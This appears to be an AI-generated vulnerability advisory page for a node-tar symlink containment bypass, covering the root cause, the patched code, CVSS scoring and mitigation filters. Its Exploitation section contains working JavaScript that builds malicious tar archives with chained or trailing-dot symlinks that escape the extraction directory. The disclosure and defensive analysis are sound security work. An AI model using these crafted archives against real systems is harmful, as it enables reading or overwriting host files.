CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-140247

CVE-2026-140247: Lexical Path Validation Bypass and Symlink Escape in node-tar

Amit Schendel
Amit Schendel
Senior Security Researcher

Dec 2, 2026·11 min read·5 visits

Executive Summary (TL;DR)

node-tar prior to 8.0.0 validates symlink linkpaths using purely lexical path normalization. An attacker can craft an archive containing chained symlinks with intermediate parent directory traversals (..) or trailing dot segments (/.) that pass lexical validation but resolve outside the extraction directory when evaluated by the operating system kernel.

CVE-2026-140247 (GHSA-gvrf-jx37-rjv5) is a high-severity path traversal and link resolution vulnerability in the npm tar package (node-tar) prior to version 8.0.0. The library validates symbolic link targets lexically rather than against the physical filesystem hierarchy, allowing specially crafted archives to create symlinks inside the extraction directory that resolve to arbitrary locations outside the extraction root.

Vulnerability Overview

The tar package (commonly referred to as node-tar) is the standard archive extraction and creation library for the Node.js ecosystem. It is heavily utilized by package managers, build pipelines, and server-side applications to unpack .tar and .tgz archives. Because archive extraction routines often process untrusted files supplied by external users or remote registries, node-tar implements security boundaries designed to prevent extracted files and symbolic links from escaping the designated extraction root (cwd).

In versions prior to 8.0.0, node-tar contains a flaw in how it validates the target path (linkpath) of SymbolicLink entries during extraction. The library enforces containment by normalizing the entry's directory path and the symlink's linkpath using path.posix.normalize, then verifying that the resulting string does not start with ../. This validation relies entirely on lexical string manipulation rather than actual filesystem path resolution.

This discrepancy introduces a vulnerability classified under CWE-22 (Path Traversal) and CWE-59 (Improper Link Resolution Before File Access). When a path contains a named directory component followed by a parent directory reference (..), lexical normalization collapses both segments into an empty path. However, when the operating system kernel evaluates the path on disk, it resolves the named component first—which may itself be a symlink pointing to the root of the extraction folder or higher—before applying the .. traversal.

As a result, an unauthenticated attacker who can supply a crafted tar archive to a vulnerable extraction routine can create symbolic links inside the extraction directory that point to arbitrary files on the host filesystem. While node-tar itself will not follow these symlinks to write subsequent entries during the same extraction pass, any downstream application logic that reads from or writes to the extracted files will inadvertently interact with sensitive files outside the extraction sandbox.

Root Cause Analysis

The root cause of CVE-2026-140247 lies in the [STRIPABSOLUTEPATH] validation routine within src/unpack.ts. When unpacking a SymbolicLink entry, node-tar attempts to verify that the symlink target remains confined within the extraction root (cwd). In versions prior to 8.0.0, the library calculated the entry's parent directory via path.posix.dirname(entry.path) and joined it with the symlink's target linkpath using path.posix.normalize.

Lexical path normalization operates under the assumption that a/b/.. is mathematically equivalent to a. On a POSIX filesystem, this assumption fails whenever b is a symbolic link. If an archive defines a symlink l1 pointing to . (the extraction root) and a second symlink esc pointing to l1/../outside.txt, path.posix.normalize('l1/../outside.txt') evaluates to 'outside.txt'. Because 'outside.txt' does not contain a leading '../', the validation passes and node-tar writes the literal symlink esc -> l1/../outside.txt to disk.

Beyond the intermediate .. traversal after a named symlink segment, two additional edge cases in src/unpack.ts allowed symlink targets to escape the extraction directory:

  1. Trailing dot segments (/. or /./) in the entry path: When an archive entry path was specified as esc/. with a linkpath of ../outside.txt, calling path.posix.dirname('esc/.') returned 'esc' rather than '.'. The validation logic assumed the symlink was being created one directory level deeper than it actually was (esc/ instead of the root extraction directory). When joined with ../outside.txt, the lexical check resolved path.posix.normalize('esc/../outside.txt') to 'outside.txt', allowing the entry even though the filesystem creates the link at esc pointing to ../outside.txt.
  2. Backslash characters (\) in directory names: The validation routine split paths on both forward slashes and backslashes to handle cross-platform archives. On POSIX systems, a backslash is a valid filename character rather than a directory separator. An archive containing a directory A\B and a symlink esc targeting A\B/../../outside.txt caused the splitter to treat A\B as two directory levels deep (A/B), allowing two .. segments in the linkpath when only one physical directory existed on disk.

By chaining multiple directory levels and symlinks inside the archive (for example, creating p/q/r/s pointing to ../../.. and then referencing p/q/r/s/../../../victim), an attacker can traverse an arbitrary number of levels up the host directory tree.

Code Analysis

The vulnerability was patched in commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d within src/unpack.ts. Prior to the fix, the Unpack class resolved the target linkpath relative to the raw dirname of the entry without checking the internal structure of the target components or normalizing the entry's own path first.

// Vulnerable code in src/unpack.ts (prior to 8.0.0)
// Resolve linkpath relative to the entry's directory.
// `path.posix` is safe to use because we're operating on
// tar paths, not a filesystem.
const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
  path.posix.join(entryDir, parts.join('/')),
)

The remediation introduces two primary defensive controls in src/unpack.ts. First, it inspects the split components (parts) of the symlink's linkpath to enforce a strict structural invariant: parent directory references (..) are only permitted at the very beginning of a relative linkpath. Second, it normalizes entry.path via path.posix.normalize before extracting its dirname.

// Patched code in src/unpack.ts (commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d)
// A '..' is only safe at the start of the target. Any named
// part before it can be a symlink, and then the '..' goes to
// the parent of that symlink's target.
const firstName = parts.findIndex(
  part => part !== '..' && part !== '.' && part !== '',
)
if (firstName !== -1 && parts.includes('..', firstName)) {
  this.warn(
    'TAR_ENTRY_ERROR',
    `${field} contains '..' after a path portion`,
    { entry, [field]: p },
  )
  return false
}
// Normalize the path, so that the directory is the one where
// the link is created. The path 'x/.' creates the link 'x'.
const entryDir = path.posix.dirname(path.posix.normalize(entry.path))
const resolved = path.posix.normalize(
  path.posix.join(entryDir, parts.join('/')),
)

By searching for the first index of a named path component (firstName) and rejecting any path that includes '..' at or after firstName, the patch eliminates the discrepancy between lexical normalization and kernel symlink resolution. Because no named segment precedes the leading '..' segments, those parent traversals are guaranteed to apply solely to the entry's own directory structure (which node-tar independently ensures does not traverse through symlinks via [ENSURE_NO_SYMLINK]).

> [!NOTE] > This structural restriction also closes the POSIX backslash bypass. Because parts is already split on both / and \, a linkpath like A\B/../../outside.txt is broken into ['A', 'B', '..', '..', 'outside.txt']. Here, firstName evaluates to 0 ('A'), and parts.includes('..', 0) returns true, causing the entry to be rejected before path.posix.normalize is ever reached.

The fix is comprehensive against all three bypass vectors. Even if an archive attempts to define the escaping symlink before the target intermediate symlink is extracted (e.g., extracting esc -> x/y/../outside.txt first, followed by x/y -> ..), the positional check on .. rejects esc immediately upon header parsing without needing to track state across archive entries.

Exploitation

Exploiting CVE-2026-140247 requires an application to extract an untrusted tar archive using node-tar (tar.x or tar.extract, in either synchronous or asynchronous mode). No special configuration flags (such as preservePaths: true) are needed; the vulnerability triggers under the default secure extraction configuration.

An attacker can construct a minimal 2048-byte malicious archive containing two 512-byte tar header blocks followed by two 512-byte end-of-archive zero blocks. The first header creates a benign symlink inside the extraction directory, and the second header leverages that symlink to traverse out of the extraction root.

const fs = require('node:fs')
const path = require('node:path')
const tar = require('tar')
 
// Helper to encode a 512-byte tar header block
const makeSymlinkHeader = (entryPath, linkpath) => {
  const block = Buffer.alloc(512)
  new tar.Header({
    path: entryPath,
    linkpath: linkpath,
    type: 'SymbolicLink',
    mode: 0o755,
    size: 0,
  }).encode(block, 0)
  return block
}
 
// Variant 1: '..' after an in-archive symlink
// Entry 1: 's1' -> '.' (points to extraction root)
// Entry 2: 'esc' -> 's1/../outside.txt' (lexically 'outside.txt', resolves to '../outside.txt')
const payload = Buffer.concat([
  makeSymlinkHeader('s1', '.'),
  makeSymlinkHeader('esc', 's1/../outside.txt'),
  Buffer.alloc(1024), // EOF padding
])
 
fs.writeFileSync('exploit.tar', payload)

Alternatively, using the trailing dot-segment vector, an attacker only needs a single tar header block (path: 'esc/.', linkpath: '../outside.txt') to achieve a single-level directory escape without creating an intermediate symlink:

// Variant 2: Trailing '/.' off-by-one dirname calculation
const singleEntryPayload = Buffer.concat([
  makeSymlinkHeader('esc/.', '../outside.txt'),
  Buffer.alloc(1024),
])

When a vulnerable version of node-tar (< 8.0.0) extracts either payload into a target directory (e.g., /app/uploads/extracted), the extraction completes without emitting any warnings or errors. On disk, /app/uploads/extracted/esc is created as a symbolic link whose real path (fs.realpathSync) resolves to /app/uploads/outside.txt. If the application subsequently iterates over the extracted directory tree to read file contents (e.g., displaying archive contents to a user or packaging them into a build artifact) or modifies files in place, the attacker achieves arbitrary file read or arbitrary file overwrite within the privileges of the Node.js process.

Impact Assessment

The direct impact of CVE-2026-140247 is the creation of symbolic links inside an extraction directory that point to arbitrary locations on the filesystem outside the extraction root. It is important to distinguish this primitive from direct arbitrary file overwrite during extraction: node-tar employs a separate defense ([ENSURE_NO_SYMLINK]) that checks whether intermediate directories are symlinks before writing subsequent File entries from the same archive. Therefore, an attacker cannot use a single archive extraction pass by itself to overwrite external files solely through node-tar.

Instead, the security impact materializes in post-extraction processing pipelines. Many applications unpack an archive into a workspace directory and then trust that all entities inside that workspace are safely self-contained. Common vulnerable downstream workflows include:

  • Static file serving and artifact packaging: If a web server, CI/CD runner, or static site generator extracts a user-supplied archive and serves the resulting directory or repackages it into a downloadable zip/tarball, following the escaped symlink exposes confidential host files (such as /etc/passwd, .env secrets, or application source code).
  • Post-extraction file mutation: If the application opens files inside the extracted folder to normalize line endings, inject configuration headers, or update metadata using standard Node.js fs.writeFile calls (which follow symlinks by default), the operation will overwrite the external target file on the host filesystem.

GitHub and NVD assigned this vulnerability a CVSS v4.0 score of 7.2 (High) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N), while the security advisory assesses a CVSS v3.1 score of 7.1 (High) (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N). The high integrity and confidentiality ratings reflect the ability to read or corrupt arbitrary files accessible to the runtime user once a downstream consumer interacts with the extracted symlink.

According to CISA ADP Vulnrichment (SSVC v2.0.3), exploitation maturity is tracked at the proof-of-concept (poc) level based on the reproduction test cases published in the official repository and advisory. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

To fully remediate CVE-2026-140247, upgrade the tar dependency to version 8.0.0 or later. In version 8.0.0, node-tar rejects any symlink linkpath containing '..' after a named path segment, and normalizes entry paths before calculating parent directories, emitting a TAR_ENTRY_ERROR warning and refusing to create the link.

> [!NOTE] > Upgrading to tar@8.0.0 is a major version bump that introduces breaking changes: it requires Node.js >= 22 and removes legacy callback-style stream APIs in favor of Promise-based APIs.

For environments locked to earlier Node.js runtimes (such as Node.js 18 or 20) that cannot immediately upgrade to tar@8.0.0, developers must implement application-level mitigations during or immediately after extraction:

  1. Filter or reject symbolic links during extraction: If the application use case does not require symbolic links inside uploaded archives, pass a filter function to tar.x() to block all SymbolicLink and Link entries before they are written to disk:
await tar.x({
  file: 'untrusted.tar',
  cwd: extractionRoot,
  strict: true,
  filter: (entryPath, entry) => {
    if (entry.type === 'SymbolicLink' || entry.type === 'Link') {
      return false
    }
    return true
  },
})
  1. Enforce custom filter validation on linkpath: If symlinks must be supported on older node-tar versions, replicate the 8.0.0 patch logic inside the filter callback by inspecting entry.linkpath and entry.path:
const path = require('node:path')
 
await tar.x({
  file: 'untrusted.tar',
  cwd: extractionRoot,
  strict: true,
  filter: (entryPath, entry) => {
    if (entry.type === 'SymbolicLink') {
      const parts = entry.linkpath.split(/[/\\]/)
      const firstName = parts.findIndex(p => p !== '..' && p !== '.' && p !== '')
      if (firstName !== -1 && parts.includes('..', firstName)) {
        return false
      }
      const entryDir = path.posix.dirname(path.posix.normalize(entry.path))
      const resolved = path.posix.normalize(path.posix.join(entryDir, parts.join('/')))
      if (resolved.startsWith('../') || resolved === '..' || path.posix.isAbsolute(entry.linkpath)) {
        return false
      }
    }
    return true
  },
})
  1. Post-extraction realpath auditing: Before reading or writing any file inside an extracted directory, verify that fs.realpathSync(targetFile) begins with fs.realpathSync(extractionRoot) + path.sep.

Official Patches

isaacs (node-tar)Official git commit resolving symlink linkpath lexical validation bypasses.
isaacs (node-tar)node-tar v8.0.0 release containing the security patch.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Affected Systems

node-tar (npm package 'tar')

Affected Versions Detail

Product
Affected Versions
Fixed Version
tar
isaacs
< 8.0.08.0.0
AttributeDetail
Vulnerability IDCVE-2026-140247 / GHSA-gvrf-jx37-rjv5
Weakness ClassCWE-22 (Path Traversal) / CWE-59 (Improper Link Resolution)
Affected Packagetar (npm) < 8.0.0
Patched Version8.0.0
CVSS Score7.2 High (CVSS v4.0) / 7.1 High (CVSS v3.1)
Attack VectorCrafted Tar Archive Extraction
Exploit StatusProof-of-Concept Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as '..' that can resolve to a location outside of that directory. Also associated with CWE-59 (Improper Link Resolution Before File Access).

Known Exploits & Detection

GitHub Security AdvisoryOfficial security advisory containing proof-of-concept extraction script demonstrating in-archive symlink directory escape.
GitHub Repository Test SuiteRegression unit tests in test/symlink-linkpath-escape.test.ts demonstrating all three symlink escape bypass vectors.

Vulnerability Timeline

Fix commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d authored in isaacs/node-tar.
2026-11-26
CVE-2026-140247 reserved by GitHub_M CNA.
2026-11-30
CVE-2026-140247 published, node-tar v8.0.0 released, and NVD/OSV records synchronized.
2026-12-01
GitHub Advisory Database (GHSA-gvrf-jx37-rjv5) review finalized and published.
2026-12-02

References & Sources

  • [1]CVE Record: CVE-2026-140247
  • [2]NVD Vulnerability Detail: CVE-2026-140247
  • [3]GitHub Security Advisory: GHSA-gvrf-jx37-rjv5
  • [4]Official Security Fix Commit in isaacs/node-tar
  • [5]node-tar v8.0.0 Release Notes
  • [6]GitHub Advisory Database Record (JSON)
  • [7]CVE Project Raw v5 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•39 minutes ago•CVE-2026-140249
7.2

CVE-2026-140249: Path Traversal via Lexical Symlink Normalization in node-tar

CVE-2026-140249 (also tracked as GHSA-4pf9-5fpx-xmr6) is a path traversal and improper link resolution vulnerability in node-tar, the core tar archive manipulation library for Node.js. Affecting versions 7.5.5 through 7.5.24, the flaw resides in the symbolic link path validation routine executed during archive extraction via tar.x(). Because the library validates link targets using purely lexical string manipulation rather than filesystem-aware path resolution, an attacker can craft an archive containing chained symlinks or unnormalized path suffixes that bypass traversal checks. Although node-tar does not directly write archive payloads through escaping symlinks during the extraction phase, it allows the creation of symlinks inside the extraction directory that resolve to arbitrary locations on the host filesystem. Any subsequent read or write operation performed by the host application on the extracted directory tree follows these symlinks, leading to arbitrary file disclosure or overwrite within the privilege context of the Node.js process.

Alon Barad
Alon Barad
3 views•13 min read
•about 3 hours ago•CVE-2026-140246
7.2

CVE-2026-140246: Symbolic Link Path Traversal via Backslash Separator Differential in node-tar

CVE-2026-140246 (GHSA-hqgx-p3r3-2cfg) is a path traversal and link-following vulnerability in the node-tar (tar) npm package prior to version 8.0.0. The defect stems from a semantic discrepancy in how backslash characters are processed during lexical path validation versus how they are resolved by POSIX filesystem kernels. By combining a directory containing a literal backslash with a symbolic link utilizing relative parent traversal sequences, an attacker can construct a tar archive that bypasses extraction containment checks and points to arbitrary files outside the target root directory on non-Windows hosts.

Amit Schendel
Amit Schendel
5 views•13 min read
•about 4 hours ago•CVE-2026-140245
7.2

CVE-2026-140245: Symlink Linkpath Containment Bypass via Trailing Dot Segments in node-tar

CVE-2026-140245 (GHSA-jmj2-9c5q-vw73) is a path traversal vulnerability (CWE-22) affecting versions 7.5.5 through 7.5.24 of the node-tar (tar) archive manipulation library for Node.js. A discrepancy between path evaluation during symlink containment validation and actual filesystem placement allows archives containing symbolic link entries with trailing dot segments (such as '/.' or '/./') to bypass directory boundary checks. When extracted under default configurations, these crafted entries create symbolic links pointing outside the designated extraction directory (cwd), establishing a primitive for arbitrary file overwrite or creation during subsequent extraction steps.

Alon Barad
Alon Barad
6 views•10 min read
•about 5 hours ago•CVE-2026-140244
7.2

CVE-2026-140244: Symlink Containment Bypass and Arbitrary File Read in node-tar

CVE-2026-140244 (GHSA-mhqm-9wj8-w7r4) is a symlink containment bypass vulnerability in node-tar prior to version 8.0.0. Because the archive unpacker validates symbolic link targets using purely lexical path normalization without accounting for intermediate archive-created symlinks, an attacker can craft a tar archive containing chained symlinks that resolve outside the extraction directory on the physical filesystem. Downstream applications that read, copy, serve, or re-archive the extracted directory tree follow these planted symlinks, resulting in arbitrary file read and information disclosure.

Amit Schendel
Amit Schendel
6 views•13 min read
•about 6 hours ago•CVE-2026-140242
7.1

CVE-2026-140242: Improper Input Validation in node-tar PAX Header Parser Causes Entry Loss and Denial of Service

CVE-2026-140242 (also tracked as GHSA-ph3c-p786-j4rp) is an input validation vulnerability (CWE-1284) in the node-tar package for Node.js, affecting versions >= 7.0.0 and < 7.5.24. The parser for POSIX.1-2001 Extended (PAX) header records fails to verify that the parsed value of the size attribute is a finite, safe integer. Supplying a PAX header record with a size value such as Infinity bypasses simple non-negative numerical checks via JavaScript unary coercion. This results in stream boundary corruption and entry loss during archive extraction, or an uncaught runtime exception and process termination when re-packing the archive.

Alon Barad
Alon Barad
7 views•11 min read
•about 7 hours ago•CVE-2026-140241
7.1

CVE-2026-140241: Uncaught Exception Denial of Service in node-tar via Zstandard Magic Header

CVE-2026-140241 is a Denial of Service (DoS) vulnerability in the node-tar archive manipulation library (npm package: tar) affecting versions 7.5.22 through 7.5.24. The defect stems from an uncaught synchronous exception thrown during the initialization of Zstandard (zstd) decompression on Node.js runtimes that lack native zstd bindings. An unauthenticated attacker can supply a 4-byte payload containing the zstd magic header (0x28 0xb5 0x2f 0xfd) to asynchronous listing or extraction APIs, causing the error to escape stream event handlers and terminate the Node.js process.

Alon Barad
Alon Barad
7 views•10 min read